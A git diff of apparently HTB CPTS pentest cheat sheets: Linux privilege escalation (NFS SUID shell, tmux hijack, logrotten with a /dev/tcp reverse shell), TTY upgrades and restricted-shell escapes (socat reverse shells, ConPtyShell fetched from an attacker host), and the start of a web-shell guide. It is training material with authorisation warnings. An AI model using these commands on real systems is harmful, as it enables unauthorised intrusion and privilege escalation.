+showmount -e $IP; cat /etc/exports # /tmp *(rw,no_root_squash) +# shell.c: int main(void){ setuid(0); setgid(0); system("/bin/bash"); } +gcc shell.c -o shell +sudo mount -t nfs $IP:/tmp /mnt && cp shell /mnt && chmod u+s /mnt/shell +# on target (low-priv): ./shell +``` + +**tmux session hijack** (member of the owner's group): +```bash +ps aux | grep tmux # root ... tmux -S /shareds new -s debugsess +tmux -S /shareds # attaches to root's session +``` + +**logrotten** (writable log + logrotate 3.8.6/3.11.0/3.15.0/3.18.0): +```bash +git clone https://github.com/whotwagner/logrotten.git && cd logrotten && gcc logrotten.c -o logrotten +echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload +nc -nlvp 9001 & ./logrotten -p ./payload /tmp/tmp.log +``` + +--- + +## CVE quick index + +| CVE | Component | Prereq | Tool | +|---|---|---|---| +| CVE-2021-4034 (PwnKit) | polkit `pkexec` | none | `arthepsy/CVE-2021-4034` | +| CVE-2021-3156 (Baron Samedit) | sudo ≤1.9.5p2 | none | `blasty/CVE-2021-3156` | +| CVE-2019-14287 | sudo <1.8.28 | 1 sudoers entry | `sudo -u#-1` | +| CVE-2022-0847 (Dirty Pipe) | kernel 5.8–5.17 | none | DirtyPipe-Exploits | +| CVE-2021-22555 | kernel 2.6–5.11 | none | google/security-research PoC | +| CVE-2016-5195 (Dirty COW) | kernel <4.8 | none | dirtycow PoC | + +--- + +## Lessons Learned & gotchas + +1. **Enumerate before you exploit.** LinPEAS + `sudo -l` + `find SUID` + `getcap` answers most boxes; pspy catches the timing-based ones. +2. **Least-invasive first.** SUID/capability/sudo/group beats a kernel exploit — kernels panic, and some Netfilter CVEs reboot the host. +3. **Append, don't overwrite.** Weaponising a root-run script means adding a line and keeping the original intact, or you break the job and tip off defenders. +4. **Every credential is reusable.** Try discovered passwords against all users/services/hosts; `known_hosts` + `arp -a` are your lateral map. +5. **Clean up.** Rogue SUID binaries, fake `.so`/`.py`, `/tmp/sh`, sudoers edits — remove them all. +6. **Check 10250 even when 6443 says no.** Kubelet often allows anonymous access when the API server is locked down. + +## References + +1. [HTB Academy — Linux Privilege Escalation](https://academy.hackthebox.com/module/details/51) +2. [GTFOBins](https://gtfobins.org/) · [PEASS-ng (LinPEAS)](https://github.com/carlospolop/PEASS-ng) +3. [linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester) · [pspy](https://github.com/DominicBreuker/pspy) +4. [systemd unit documentation](https://www.freedesktop.org/software/systemd/man/latest/systemd.unit.html) · [Linux kernel `/proc` documentation](https://www.kernel.org/doc/html/latest/filesystems/proc.html) +5. [HackTricks — Linux Privilege Escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation) +6. [WADComs — Windows/AD commands](https://wadcoms.github.io/) · [LOLBAS — Windows living-off-the-land binaries](https://lolbas-project.github.io/) + +--- + +> [!navigation] Continue the CPTS workflow +> **Previous:** Attacking Common Applications +> +> **Dashboard:** HTB Pentest Workflow +> +> **Next:** Windows Privilege Escalation diff --git a/src/content/sheets/pentest-workflow/tty-upgrades-and-restricted-shells.md b/src/content/sheets/pentest-workflow/tty-upgrades-and-restricted-shells.md @@ -0,0 +1,811 @@ +--- +title: "TTY Upgrades & Restricted Shells (CPTS)" +description: "Upgrading dumb shells to full TTYs and escaping restricted shells — python pty, script, stty, socat, rlwrap, pwncat and ConPtyShell." +category: pentest-workflow +tags: ["exploitation", "privilege-escalation"] +tools: ["Metasploit", "Meterpreter", "Evil-WinRM", "socat", "PowerShell"] +difficulty: intermediate +updated: "2026-08-28" +source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/06 - TTY Upgrades and Restricted Shells - CPTS Cheat Sheet.md" +--- +# TTY Upgrades & Restricted Shells — CPTS Cheat Sheet + +## Summary + +A raw reverse shell carries bytes, but it usually has no controlling terminal, job control, terminal geometry, or reliable signal handling. The upgrade has two distinct parts: **allocate a PTY on the target**, then **place the local terminal in raw mode and foreground the connection**. Commands such as `/bin/bash -i` improve the prompt but do not allocate a PTY by themselves. + +> [!danger]+ Authorized-use boundary +> +> 1. Use these procedures only on systems you own or are explicitly authorized to test. +> 2. A TTY upgrade changes session behavior but not privileges. Treat a restricted-shell escape and privilege escalation as separate findings. +> 3. Do not wipe history or logs. Record staged binaries/scripts and remove only assessment artifacts during cleanup. +> 4. Capture your local terminal state before `stty raw -echo` so a dropped connection does not leave the terminal unusable. + +## Terms that matter + +| Term | Meaning | What it gives you | +|---|---|---| +| Shell | Command interpreter such as `sh`, `bash`, `cmd.exe` or PowerShell | Executes commands | +| Interactive shell | Reads commands from a user and may provide history/readline | Better prompt; still may lack a terminal | +| PTY | Pseudo-terminal master/slave pair | Terminal semantics for a child process | +| Controlling TTY | Terminal associated with a session/process group | Job control and signals | +| Raw mode | Local terminal passes keystrokes without local line processing/echo | Lets the remote PTY handle Ctrl+C, arrows and editing | +| `TERM` | Terminal capability name | Tells full-screen programs how to render | +| Geometry | Rows and columns | Prevents wrapping and broken ncurses displays | + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + A["Raw shell"] --> B{"tty?"} + B -->|"not a tty"| C{"PTY allocator present?"} + C -->|"python / script"| D["Spawn PTY"] + C -->|"socat"| E["Start PTY-backed socat shell"] + C -->|"none"| F["Interactive shell only\nor transfer a reviewed tool"] + D --> G["Ctrl+Z"] + G --> H["Local raw mode + fg"] + H --> I["reset · TERM · rows/cols"] + E --> I + F --> J["Limited shell\nno reliable job control"] + I --> K["Verify tty + signals"] +``` + +--- + +## 0 · Gold-path upgrade card + +Use this sequence for a netcat-style Linux reverse shell. + +### Target — allocate a PTY + +```bash +python3 -c 'import pty; pty.spawn("/bin/bash")' +``` + +If Python is unavailable: + +```bash +script -qc /bin/bash /dev/null +``` + +Press **Ctrl+Z** to suspend the connection and return to the local shell. + +### Attacker — save terminal state, enter raw mode, foreground + +```bash +OLD_STTY=$(stty -g) + +if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then + LOCAL_TERM=${TERM:-xterm} + printf "Paste remotely after fg:\nexport TERM='%s'\nstty rows %s cols %s\n" \ + "$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS" +else + printf 'No controlling local TTY—do not enable raw mode yet.\n' >&2 +fi +``` + +Only after the generator prints populated rows and columns: + +```bash +stty raw -echo; fg +``` + +> [!important]+ The semicolon matters +> Run `stty raw -echo; fg` as one line. This is especially important under zsh. After `fg`, press Enter once or twice if the prompt is not redrawn. + +### Target — initialize the terminal + +```bash +export SHELL=/bin/bash +# Paste the two exact export/stty lines printed by the attacker terminal. +reset +``` + +The generator reads the dimensions of the **current attacker TTY**, so it does not guess `80` columns. Its output will look like this, with values matching the terminal or tmux pane in front of you: + +```bash +export TERM='xterm-256color' +stty rows 43 cols 172 +``` + +### Verify + +```bash +tty +stty -a +ps -o pid,ppid,sid,tty,stat,comm -p $$ +``` + +Expected: `tty` returns a `/dev/pts/...` path, the process has a TTY, arrow keys work, and Ctrl+C interrupts the foreground command without killing the connection. + +### Restore the attacker terminal after exit or failure + +```bash +stty "$OLD_STTY" +reset +``` + +If the variable is unavailable, type this blindly and press Enter: + +```bash +stty sane +reset +``` + +--- + +## 1 · Diagnose the shell before changing it + +### Target checks + +```bash +tty +printf 'shell=%s argv0=%s term=%s\n' "$SHELL" "$0" "$TERM" +ps -o pid,ppid,sid,tty,stat,comm -p $$ + +for fd in 0 1 2; do + if test -t "$fd"; then + printf 'fd %s is a tty\n' "$fd" + else + printf 'fd %s is not a tty\n' "$fd" + fi +done + +readlink /proc/$$/fd/0 2>/dev/null +``` + +### Capability checklist + +| Test | Healthy interactive result | Raw-shell symptom | +|---|---|---| +| `tty` | `/dev/pts/N` | `not a tty` | +| `test -t 0` | success | failure | +| Ctrl+C on `sleep 30` | interrupts `sleep` only | kills/freezes the session | +| Arrow keys | edit history | print `^[[A` | +| `su - user` / `ssh host` | prompts normally | no prompt, hangs or exits | +| `vim` / `top` | renders correctly | corrupted screen | +| `stty size` | real rows/columns | ioctl error or `0 0` | + +> [!note]+ Do not confuse shell quality with policy +> A working PTY does not bypass PAM, sudo policy, AppArmor, SELinux, application control, or a restricted login shell. It only provides the terminal behavior those tools expect. + +--- + +## 2 · PTY allocators and fallback shells + +### What actually allocates a PTY? + +| Method | Allocates PTY? | Notes | +|---|---:|---| +| Python `pty.spawn` | Yes | Most common Unix fallback | +| util-linux `script` | Yes | Often installed when Python is absent | +| socat `pty` option | Yes | Best signal/session handling when available | +| Expect `spawn ...; interact` | Yes | Useful on appliances with Expect | +| SSH `-t` / `-tt` | Yes | Server policy still applies | +| `bash -i`, Perl/Ruby `exec`, awk `system` | No | Interactive process only; still useful as a fallback | +| `rlwrap nc` | No | Local readline wrapper, not a remote PTY | + +### Python + +```bash +python3 -c 'import pty; pty.spawn("/bin/bash")' +python -c 'import pty; pty.spawn("/bin/bash")' +``` + +If Bash is unavailable: + +```bash +python3 -c 'import pty; pty.spawn("/bin/sh")' +``` + +### util-linux `script` + +```bash +script -qc /bin/bash /dev/null +``` + +Alternative accepted by some util-linux builds: + +```bash +script -c /bin/bash /dev/null +``` + +The output file is `/dev/null` so the command does not leave a terminal transcript on the target. + +### Expect + +```bash +expect -c 'spawn /bin/bash; interact' +``` + +### Socat — full PTY connection + +Attacker: + +```bash +socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr +``` + +Target: + +```bash +socat TCP:10.10.14.2:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane +``` + +> [!warning]+ Staging a static binary +> Transfer only a reviewed binary appropriate for the target architecture and engagement. Record its hash and destination, use a scoped writable directory, and remove it when finished. + +### Interactive-only fallbacks — not a PTY + +```bash +/bin/bash -i +/bin/sh -i +perl -e 'exec "/bin/bash";' +ruby -e 'exec "/bin/bash"' +awk 'BEGIN {system("/bin/bash")}' +env /bin/bash -i +``` + +These may improve command parsing or prompt behavior, but `tty` will still report `not a tty`. Continue with a real PTY allocator when possible. + +--- + +## 3 · Listener choices + +### Netcat + +```bash +nc -lvnp 4444 +``` + +Netcat is simple and widely available, but it does not allocate a PTY. + +### rlwrap + netcat + +```bash +rlwrap -r -f . nc -lvnp 4444 +``` + +`rlwrap` adds local history and line editing. It does not fix remote job control, terminal sizing, `su` or `ssh` prompts. + +### Ncat with TLS + +```bash +ncat --ssl -lvnp 4444 +``` + +The connecting side must also speak Ncat TLS. Encryption does not add PTY behavior. + +### Socat + +```bash +socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr +``` + +### pwncat-cs + +```bash +pwncat-cs -lp 4444 +``` + +Use automation only after confirming it is permitted by the engagement and compatible with the target. Record any files, persistence or enumeration actions a framework performs. + +### Metasploit handler + +```text +use exploit/multi/handler +set PAYLOAD linux/x64/shell_reverse_tcp +set LHOST 10.10.14.2 +set LPORT 4444 +run +``` + +A handler catches the payload; shell quality still depends on the session type and subsequent PTY allocation. + +--- + +## 4 · Terminal geometry, TERM and locale + +### What are you actually copying? + +| Value | What it means | How to discover it locally | +|---|---|---| +| Rows / columns | Current kernel-reported size of the terminal or tmux pane | `stty size </dev/tty` | +| `TERM` | A terminal **capability/terminfo name** used by programs such as `vim`, `less` and `top` | `printf '%s\n' "$TERM"` | +| Terminal emulator | The graphical program, such as Ghostty, Kitty, Alacritty or Foot | Environment and process-tree checks below | + +`TERM` is not necessarily the emulator's product name. Inside tmux it is commonly `tmux-256color` or `screen-256color`, even when the visible emulator is Ghostty or Kitty. For the remote session, correct geometry and a `TERM` entry installed on the target matter more than the emulator brand. + +### Discover the exact local values + +```bash +printf 'TTY=%s\n' "$(tty)" +printf 'TERM=%s\n' "${TERM:-unset}" +stty size </dev/tty +stty -a </dev/tty | sed -n '1p' +tput lines +tput cols +``` + +`stty size` prints `ROWS COLS`. Run it from the attacker terminal that owns the listener—not through the remote shell. If the listener is inside tmux, it correctly reports the current pane size. + +To identify the visible emulator as well: + +```bash +printf 'TERM_PROGRAM=%s\n' "${TERM_PROGRAM:-unset}" +printf 'TERMINAL=%s\n' "${TERMINAL:-unset}" +ps -o pid,ppid,tty,comm -p $$ -p $PPID +pstree -s $$ +``` + +Environment hints are not universal, and tmux/SSH may sit between the shell and emulator. Do not invent a `TERM` value from the application name; use the current `$TERM`, then test whether the target has its terminfo entry. + +### Generate the exact remote commands + +Run this locally after suspending the connection with Ctrl+Z and **before** enabling raw mode: + +```bash +if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then + LOCAL_TERM=${TERM:-xterm} + printf "export TERM='%s'\nstty rows %s cols %s\n" \ + "$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS" +else + printf 'No controlling local TTY; run this from the listener terminal.\n' >&2 +fi +``` + +Copy the two printed lines to the target after `fg`. A compact Bash/zsh version is: + +```bash +read -r TTY_ROWS TTY_COLS < <(stty size </dev/tty) && printf "export TERM='%s'; stty rows %s cols %s\n" "${TERM:-xterm}" "$TTY_ROWS" "$TTY_COLS" +``` + +> [!warning]+ Why not always use 80 columns? +> `80` is a historical default, not a measurement. A guessed size causes early wrapping, misplaced prompts and broken full-screen programs. Capture the current size again whenever the local window or tmux pane changes. + +### tmux and multiplexer panes + +```bash +# stty already reports the active pane's PTY size. +stty size </dev/tty + +# Cross-check using tmux's own pane values. +tmux display-message -p '#{pane_height} #{pane_width}' + +# See the capability name exposed inside the pane. +printf 'TERM=%s\n' "$TERM" +``` + +If the local value is `tmux-256color`, `screen-256color` or an emulator-specific name such as `xterm-kitty`, the target may not have matching terminfo data. That is a compatibility issue, not a geometry issue. + +### Apply and validate on the target + +```bash +# Example only—paste the values produced by your local generator. +export TERM='xterm-256color' +stty rows 43 cols 172 + +printf 'TERM=%s\n' "$TERM" +stty size +tput lines +tput cols +``` + +If applications report an unknown terminal or render badly, select the first compatible terminfo entry available on the target: + +```bash +if command -v infocmp >/dev/null 2>&1; then + for CANDIDATE_TERM in "$TERM" xterm-256color xterm vt100; do + if infocmp "$CANDIDATE_TERM" >/dev/null 2>&1; then + export TERM="$CANDIDATE_TERM" + break + fi + done +else + export TERM=xterm +fi + +printf 'Using TERM=%s\n' "$TERM" +``` + +Optional locale repair for broken characters: + +```bash +locale +export LC_ALL=C +``` + +Use `LC_ALL=C` only when needed; it changes sorting, messages and character handling for the session. + +### Resize later + +The remote PTY does not normally receive local `SIGWINCH` resize events through a simple netcat chain. Re-run the local generator, then paste its new `stty rows ... cols ...` command remotely. Socat, SSH, tmux and terminal-aware frameworks may propagate resizing automatically; verify with `stty size` rather than assuming they did. + +--- + +## 5 · Signal and job-control verification + +```bash +sleep 30 +``` + +Press Ctrl+C. The `sleep` process should stop while the shell survives. + +```bash +sleep 30 & +jobs +fg %1 +``` + +Press Ctrl+Z, then check: + +```bash +jobs +bg %1 +fg %1 +``` + +> [!warning]+ Test with disposable commands +> Do not test signal handling against a database client, package manager, file editor or exploit process that could be left half-written. + +--- + +## 6 · SSH-native terminal allocation and escapes + +If valid SSH access exists, prefer SSH’s native PTY allocation over stabilizing netcat. + +```bash +ssh -t user@target +ssh -tt user@target 'bash --noprofile --norc -i' +``` + +A second `-t` forces allocation even when the local client has no TTY. + +### OpenSSH escape sequences + +Escapes are recognized only after a newline and only when a PTY was requested. + +```text +Enter, then ~? show escape help +Enter, then ~. disconnect +Enter, then ~^Z suspend the local ssh client +Enter, then ~# list forwarded connections +Enter, then ~C open the forwarding command line +``` + +At the `~C` prompt: + +```text +-L 8080:127.0.0.1:80 +-D 1080 +-KL 8080 +``` + +> [!note]+ Shell restrictions still apply +> `ssh -tt ... bash` works only if `sshd` permits the command and the account is not constrained by `ForceCommand`, a restricted shell, a container/jail, or another policy. + +--- + +## 7 · Meterpreter and framework sessions + +### Meterpreter to operating-system shell + +```text +meterpreter > shell +``` + +Then on a Unix target: + +```bash +python3 -c 'import pty; pty.spawn("/bin/bash")' +``` + +### Basic shell to Meterpreter + +From msfconsole: + +```text +sessions +sessions -u <SESSION_ID> +``` + +Or: + +```text +use post/multi/manage/shell_to_meterpreter +set SESSION <SESSION_ID> +run +``` + +An upgrade changes the session transport/features; it does not guarantee a PTY inside a subsequent `shell` channel. + +--- + +## 8 · Restricted-shell identification and escape + +Restricted shells are policy boundaries, not bad TTYs. Identify the restriction before trying available escape-capable programs. + +### Identify the shell and allowed surface + +```bash +printf 'SHELL=%s argv0=%s flags=%s\n' "$SHELL" "$0" "$-" +getent passwd "$(id -un)" 2>/dev/null +echo "$PATH" +type -a sh bash python3 python perl ruby vi vim less man awk find 2>/dev/null +compgen -c 2>/dev/null | sort -u +``` + +Common indicators: + +| Shell | Typical behavior | +|---|---| +| `rbash` | Blocks `cd`, slashes in command names, PATH changes, `exec` and output redirection | +| `rksh` / restricted ksh | Similar path, directory and redirection restrictions | +| `rzsh` | zsh restricted option; path/command limitations | +| `lshell` | Allow/deny lists and explicit “forbidden command” messages | +| `rssh` / `git-shell` | Purpose-built command set rather than a normal interactive shell | +| container/chroot | Normal shell syntax but filesystem/process/network boundaries remain | + +### Rank escape candidates + +1. Interpreters already on the allowed PATH. +2. Editors and pagers with shell commands. +3. An SSH forced command or native PTY. +4. Environment-controlled helpers such as `PAGER`, `VISUAL` or `SHELL`. +5. A permitted shell script or command that invokes another program. + +### Interpreters + +```bash +python3 -c 'import os; os.execl("/bin/bash", "bash", "-i")' +perl -e 'exec "/bin/bash";' +ruby -e 'exec "/bin/bash"' +lua -e 'os.execute("/bin/bash")' +php -r 'system("/bin/bash");' +awk 'BEGIN {system("/bin/bash")}' +``` + +If slashes are rejected but the binary is on PATH, try `bash` rather than `/bin/bash`. + +### Editors and pagers + +Vim: + +```vim +:set shell=/bin/bash +:shell +``` + +Alternative Vim command: + +```vim +:!/bin/bash +``` + +Less or man: + +```text +!/bin/bash +``` + +Nano, when Execute Command is enabled: + +```text +Ctrl+R +Ctrl+X +/bin/bash +``` + +### Common command helpers + +```bash +find . -exec /bin/bash \; -quit +env /bin/bash -i +gdb -nx -ex '!bash' -ex quit +``` + +### rbash-specific observations + +GNU Bash applies restricted-mode checks after startup files are read, and shell scripts found as commands may execute in a non-restricted Bash process. Whether that is usable depends on PATH, file permissions and the surrounding jail. + +```bash +BASH_CMDS[a]=/bin/bash +a +``` + +If a permitted editor or upload route can place a reviewed script in an executable PATH directory: + +```bash +allowed-script.sh +``` + +### SSH from outside the restriction + +```bash +ssh -tt user@target 'bash --noprofile --norc -i' +``` + +### Verify the escape + +```bash +printf 'argv0=%s flags=%s shell=%s\n' "$0" "$-" "$SHELL" +cd / +printf 'redirect-test\n' > /tmp/tty-escape-check +rm -f /tmp/tty-escape-check +``` + +> [!warning]+ Escape does not mean host escape +> Leaving `rbash` may only remove command-language restrictions. It does not escape a chroot, namespace, container, mandatory-access-control policy or low-privilege account. + +--- + +## 9 · Windows shell quality and ConPTY + +Windows `cmd.exe` and PowerShell over a raw socket have the same class of problems: line editing, console applications and Ctrl+C may not behave normally. Windows Pseudo Console (ConPTY) provides a console host suitable for interactive character-mode applications on supported Windows versions. + +### Diagnose — CMD + +```batch +whoami +ver +echo %CMDCMDLINE% +where powershell.exe +where pwsh.exe +``` + +### Diagnose — PowerShell + +```powershell +whoami +$ExecutionContext.SessionState.LanguageMode +[Environment]::OSVersion.Version +[Environment]::Is64BitProcess +Get-CimInstance Win32_Process -Filter "ProcessId=$PID" | + Select-Object ProcessId, ParentProcessId, Name, ExecutablePath +``` + +`ConstrainedLanguage` permits cmdlets and basic language elements but restricts many .NET/COM operations. Treat that as an application-control signal; do not assume a failed script means networking is broken. + +### Prefer native management channels when credentials exist + +```bash +evil-winrm -i 10.10.10.10 -u user -p '<password>' +ssh user@10.10.10.10 +xfreerdp /v:10.10.10.10 /u:user /p:'<password>' +``` + +### ConPtyShell workflow + +Review and stage the script from its primary repository rather than executing an unreviewed remote one-liner. + +Attacker listener: + +```bash +stty raw -echo; (stty size; cat) | nc -lvnp 4444 +``` + +Target PowerShell: + +```powershell +Invoke-WebRequest http://10.10.14.2:8000/Invoke-ConPtyShell.ps1 ` + -OutFile $env:TEMP\Invoke-ConPtyShell.ps1 + +. $env:TEMP\Invoke-ConPtyShell.ps1 +Invoke-ConPtyShell 10.10.14.2 4444 +``` + +> [!note]+ ConPTY requirements +> ConPTY is available on modern Windows releases beginning with Windows 10 version 1809 / Server 2019-era builds. Script execution can still be affected by PowerShell language mode, application control, AMSI, proxy settings and endpoint protection. + +### Restore the local terminal + +```bash +stty sane +reset +``` + +--- + +## 10 · Troubleshooting matrix + +| Symptom | Cause | Fix | +|---|---|---| +| `stty: inappropriate ioctl for device` | Ran `stty` on a stream without a PTY, or on the wrong side | Spawn target PTY first; run local raw-mode command on the attacker terminal | +| Ctrl+C kills the whole connection | No controlling PTY or local terminal still processes signals | Complete PTY + raw-mode steps; test with `sleep` | +| Arrow keys print `^[[A` | No readline/PTY, or wrong `TERM` | Allocate PTY; set a supported TERM | +| Commands appear twice | Echo enabled on both sides | Ensure local `stty raw -echo` or socat `echo=0` | +| No prompt after `fg` | Prompt not redrawn or reset waiting for terminal name | Press Enter; run `reset`; enter `xterm` if asked | +| `vim`/`top` is garbled | Wrong geometry or missing terminfo | Set rows/cols; fall back from `xterm-256color` to `xterm`/`vt100` | +| `su`/`ssh` still will not prompt | PTY incomplete, PAM policy, wrong credential or account restriction | Verify `tty` first, then diagnose auth/policy separately | +| `script` has different option errors | BSD/util-linux syntax difference | Check `script --help`; BSD commonly accepts `script -q /dev/null /bin/bash` | +| Socat connects then exits | Quoting, missing shell, wrong architecture or listener mismatch | Use absolute shell path; test socat version; verify both endpoints | +| Local terminal is broken after disconnect | Local side remained raw/no-echo | Type `stty sane` then `reset` blindly, or use another terminal to repair the TTY | +| `tty` works but `jobs` does not | Shell is not interactive or lacks job control | Start `bash -i` inside the PTY; inspect process session/group | +| Windows script fails immediately | CLM, script policy, AMSI/EDR, architecture or unsupported build | Check language mode/build; prefer approved WinRM/SSH/RDP when available | + +### Emergency local recovery from another terminal + +Find the terminal device in the affected window: + +```bash +ps -t pts/3 +``` + +Repair it explicitly: + +```bash +stty sane -F /dev/pts/3 +``` + +--- + +## 11 · Operational safety and cleanup + +### Before changing the session + +- Record the current user, process tree, shell, `tty` result and local terminal geometry. +- Save the local `stty -g` state. +- Note every transferred binary/script and its SHA-256. +- Use a unique listener port within scope. + +### During the session + +- Avoid putting credentials in command-line arguments where process listings or shell history expose them. +- Do not use terminal experiments on long-running or stateful target processes. +- Treat automated shell managers as tools that may upload files or run enumeration automatically. + +### Cleanup + +```bash +# Target: remove only artifacts you staged. +rm -f /tmp/socat + +# Attacker: always restore terminal behavior. +stty sane +reset +``` + +On Windows: + +```powershell +Remove-Item $env:TEMP\Invoke-ConPtyShell.ps1 -ErrorAction SilentlyContinue +``` + +Do not clear target logs or history. Preserve the engagement record and report any security boundary you bypassed. + +--- + +## Quick reference + +| Situation | First choice | Follow-up | +|---|---|---| +| Linux raw reverse shell | Python `pty.spawn` | Ctrl+Z → local raw mode → reset/TERM/size | +| No Python | `script -qc /bin/bash /dev/null` | Same stty workflow | +| socat available | socat PTY listener + EXEC | Set TERM/geometry | +| Only netcat | `rlwrap nc` for comfort | Still allocate a target PTY | +| Valid SSH credential | `ssh -tt` | Avoid netcat stabilization | +| Meterpreter `shell` | Spawn PTY inside shell | Or upgrade session type | +| rbash/rksh | Inventory allowed commands | Interpreter/editor/pager/SSH escape | +| Windows modern build | Native WinRM/SSH/RDP first | Reviewed ConPTY tooling if required | +| Broken local terminal | `stty sane` | `reset` | + +## Lessons learned + +1. **A new shell is not a PTY.** Perl `exec` and `bash -i` can improve the prompt without fixing `tty`, job control or signals. +2. **PTY allocation and raw mode are separate.** You normally need both halves of the gold-path workflow. +3. **Save `stty -g` first.** It turns a broken local terminal into a one-command recovery. +4. **Geometry is functional, not cosmetic.** Wrong rows/columns corrupt editors, pagers and interactive tools. +5. **Restricted shell is policy.** Stabilize the terminal, then evaluate the restriction as its own security boundary. +6. **Prefer native channels.** If SSH, WinRM or RDP credentials are available, they are more reliable than repairing a raw socket. +7. **Clean up tools, not evidence.** Remove staged binaries/scripts; do not erase logs or history. + +## References + +1. [Python documentation — `pty`](https://docs.python.org/3/library/pty.html) +2. [util-linux `script(1)` manual](https://man7.org/linux/man-pages/man1/script.1.html) +3. [GNU Coreutils — `stty`](https://www.gnu.org/software/coreutils/manual/html_node/stty-invocation.html) +4. [OpenSSH `ssh(1)` — PTY allocation and escape characters](https://man.openbsd.org/ssh) +5. [GNU Bash — The Restricted Shell](https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html) +6. [Microsoft — Windows Pseudoconsoles](https://learn.microsoft.com/en-us/windows/console/pseudoconsoles) +7. [Microsoft PowerShell — Language Modes](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes) +8. [ConPtyShell primary repository](https://github.com/antonioCoco/ConPtyShell) +9. [pwncat-cs primary repository](https://github.com/calebstewart/pwncat) diff --git a/src/content/sheets/pentest-workflow/web-shells.md b/src/content/sheets/pentest-workflow/web-shells.md @@ -0,0 +1,636 @@ +--- +title: "Web Shells (CPTS)" +description: "Creating and deploying web shells across PHP, ASP/ASPX and JSP — upload paths, language one-liners and post-drop stabilization." +category: pentest-workflow +tags: ["exploitation", "web", "file-inclusion"] +tools: ["Nmap", "WPScan", "Metasploit", "Meterpreter", "socat"] +difficulty: intermediate +updated: "2026-08-28" +source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/05 - Web Shells - CPTS Cheat Sheet.md" +--- +# Web Shells — Creating & Deploying + +## Summary + +A **web shell** is a script written in the server's own web language (PHP / ASP(X) / JSP / CFM / Perl / Python) that, once it lands in a web-served directory, hands you OS command execution through the browser. Two halves to the job: **create** the right shell for the stack, and **deploy** it — via an unrestricted upload, a filter you had to bypass, an LFI/SQLi write primitive, or a management interface. This card is a single-source reference for every flavour of web shell and every common way to get one onto disk and executing. + +> [!danger]+ HTB-Only Boundary +> +> 1. Every payload here is for **Hack The Box, HTB Academy, deliberately vulnerable labs, or systems you own and are explicitly authorised to test**. A dropped `.php`/`.aspx` on a real host is unauthorised access + a persistent backdoor. +> 2. A web shell on disk is a **forensic artifact** and often survives your session — clean it up (see #Operational safety, detection & cleanup). +> 3. **Never upload a real payload to public VirusTotal** — it burns the hash to every AV vendor. +> 4. Treat the web shell as a **stepping stone to a proper reverse shell**, never the end state — it's fragile, semi-interactive, and noisy. + +--- + +## Field workflow — identify, validate, operate, remove + +| Phase | Action | Evidence to retain | +|---|---|---| +| 1 · Fingerprint | Confirm server, framework, handler and accepted extensions | Headers, response body, version source | +| 2 · Probe | Use harmless arithmetic or a static marker before OS commands | Request/response pair and returned marker | +| 3 · Place | Record the client filename, server filename and resolved URL | Upload response, path, timestamp, SHA-256 | +| 4 · Validate | Run identity, working-directory and OS checks | Service identity, cwd, architecture, PATH | +| 5 · Operate | Prefer the smallest command needed to prove impact | Commands, UTC timestamps and outputs | +| 6 · Upgrade | Move to a reverse shell/TTY only when the task requires interaction | Listener details and new process context | +| 7 · Remove | Delete the shell and every companion artifact | Removal command and negative verification | + +```bash +# Reusable lab context +export BASE_URL="http://target.htb" +export SHELL_URL="$BASE_URL/uploads/audit.php" +export LHOST="10.10.14.2" +export LPORT="4444" +``` + +> [!tip]+ Start with a marker +> A static file or `7*7` interpreter probe separates “upload succeeded” from “the server executed my code.” Do not jump straight to a reverse shell when a harmless marker proves the handler and path. + +--- + +## Pick the right shell for the stack + +| Server / tech | Tell (how you spot it) | Shell format | Interpreter entry | +|---|---|---|---| +| **Apache/Nginx + PHP** | `X-Powered-By: PHP`, `.php` URLs, `phpinfo` | `.php .phtml .php5 .pht .phar` | `system()` / `shell_exec()` | +| **IIS + ASP.NET** | `Server: Microsoft-IIS`, `aspnet_client/` dir, `.aspx` | `.aspx` (or classic `.asp`) | `System.Diagnostics.Process` | +| **Apache Tomcat** | port 8080, `/manager`, `Coyote` banner | `.jsp` or deployable `.war` | `Runtime.getRuntime().exec()` | +| **JBoss / WildFly** | `/jmx-console`, `/web-console` | `.war` | jsp inside the war | +| **Adobe ColdFusion** | `.cfm`, port 8500, `CFIDE/` | `.cfm` | `<cfexecute>` | +| **Apache + mod_perl/CGI** | `/cgi-bin/`, `.pl`/`.cgi` | `.pl .cgi` | backticks `` `$cmd` `` | +| **Python (Flask/Django/CGI)** | `Werkzeug`, `gunicorn` banner | depends on framework | `os.system()` (rarely a drop-in file) | + +> [!tip]+ Match the format to what the target will *execute*, not to the file you have +> +> Uploading `shell.php` to an IIS/ASP.NET box gets you a downloadable text file, not execution. Confirm the stack first (banner, extensions, `whatweb`/`nmap -sV`), then pick the language. When unsure, drop a probe file (`test.php` containing `<?php echo 7*7; ?>`) and check whether it renders `49` or the source. + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + A["Fingerprint stack\n(banner / ext / whatweb)"] --> B["Craft shell in\nserver's language"] + B --> C{"Delivery vector?"} + C -->|"file upload"| D["Upload\n(bypass filter if any)"] + C -->|"LFI / log / SQLi"| E["Write to webroot\nor poison + include"] + C -->|"mgmt iface"| F["Tomcat/JBoss WAR,\nWebDAV PUT, CMS editor"] + D --> G["Browse to path"] + E --> G + F --> G + G --> H["Run cmds → upgrade\nto reverse shell 